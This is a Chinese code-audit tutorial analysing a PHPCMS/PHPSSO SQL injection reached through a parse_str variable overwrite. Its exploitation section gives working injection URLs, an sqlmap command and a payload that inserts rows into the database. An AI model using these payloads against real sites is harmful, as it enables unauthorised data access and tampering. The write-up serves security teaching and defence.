代码审计-phpcmsSQL注入分析
字数 1092 2025-08-11 08:36:22
PHPCMS SQL注入漏洞分析与利用教学文档
1. 环境准备
-
工具需求:
- phpstudy(PHP环境集成工具)
- phpstorm(代码审计工具)
- SQLMap(自动化SQL注入工具)
-
目标系统:
- PHPCMS内容管理系统
2. 路由分析
2.1 入口文件分析
index.php 是PHPCMS的主要入口文件:
<?php
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'/phpcms/base.php';
pc_base::creat_app();
?>
2.2 核心加载流程
- 调用
pc_base::creat_app()方法 - 加载
base.php文件 - 通过
_load_class方法加载application类
private static function _load_class($classname, $path = '', $initialize = 1) {
static $classes = array();
if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
$key = md5($path.$classname);
if (isset($classes[$key])) {
if (!empty($classes[$key])) {
return $classes[$key];
} else {
return true;
}
}
if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
$name = $classname;
if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include $my_path;
$name = 'MY_'.$classname;
}
if ($initialize) {
$classes[$key] = new $name;
} else {
$classes[$key] = true;
}
return $classes[$key];
} else {
return false;
}
}
2.3 MVC架构初始化
application.class.php 中的构造函数:
public function __construct() {
$param = pc_base::load_sys_class('param');
define('ROUTE_M', $param->route_m());
define('ROUTE_C', $param->route_c());
define('ROUTE_A', $param->route_a());
$this->init();
}
3. 参数处理机制
3.1 参数过滤
param.class.php 中的参数处理:
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');
// 其他参数处理...
}
3.2 路由配置
route.php 配置文件:
return array(
'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'),
);
4. 漏洞分析
4.1 漏洞位置
漏洞存在于 phpsso_server/phpcms/modules/phpsso/index.php 和 phpsso.class.php 中。
4.2 漏洞成因
-
变量覆盖:
parse_str()函数存在变量覆盖风险- 代码片段:
if(isset($_POST['data'])) { parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); }
-
SQL注入点:
- 在
checkemail方法中直接拼接SQL查询:$r = $this->db->get_one(array('email'=>$this->email));
- 在
4.3 漏洞利用链
- 通过
member/index.php中的public_checkemail_ajax方法触发 - 调用
client.class.php中的ps_checkemail方法 - 通过
_ps_send和_ps_post方法与PHPSSO通信 - 最终到达存在漏洞的SQL查询
5. 漏洞验证与利用
5.1 测试URL
http://localhost:81/index.php?clientid=email&email=test@example.com%2527+AND+1=1%23&m=member&c=index&a=public_checkemail_ajax
5.2 SQLMap自动化测试
使用SQLMap进行自动化注入测试:
sqlmap -u "http://localhost:81/index.php?clientid=email&email=test@example.com*&m=member&c=index&a=public_checkemail_ajax" --batch --level=5 --risk=3
5.3 手工注入示例
构造恶意payload:
email=test@example.com%2527+and+insert+into+v9_cache+values+(10086,10086,10086)%23
6. 防御措施
-
输入验证:
- 对所有用户输入进行严格的格式验证
- 使用白名单机制限制允许的字符
-
参数化查询:
- 使用预处理语句替代直接SQL拼接
-
安全配置:
- 禁用
register_globals - 设置
magic_quotes_gpc为On
- 禁用
-
代码审计:
- 定期检查代码中的
parse_str、extract等危险函数使用 - 检查所有数据库查询语句
- 定期检查代码中的
7. 总结
该漏洞利用PHPCMS中PHPSSO组件的参数处理缺陷,通过精心构造的URL参数实现SQL注入。攻击者可以利用此漏洞执行任意SQL命令,可能导致数据泄露、篡改或服务器接管。修复方案应包括严格的输入验证和使用参数化查询。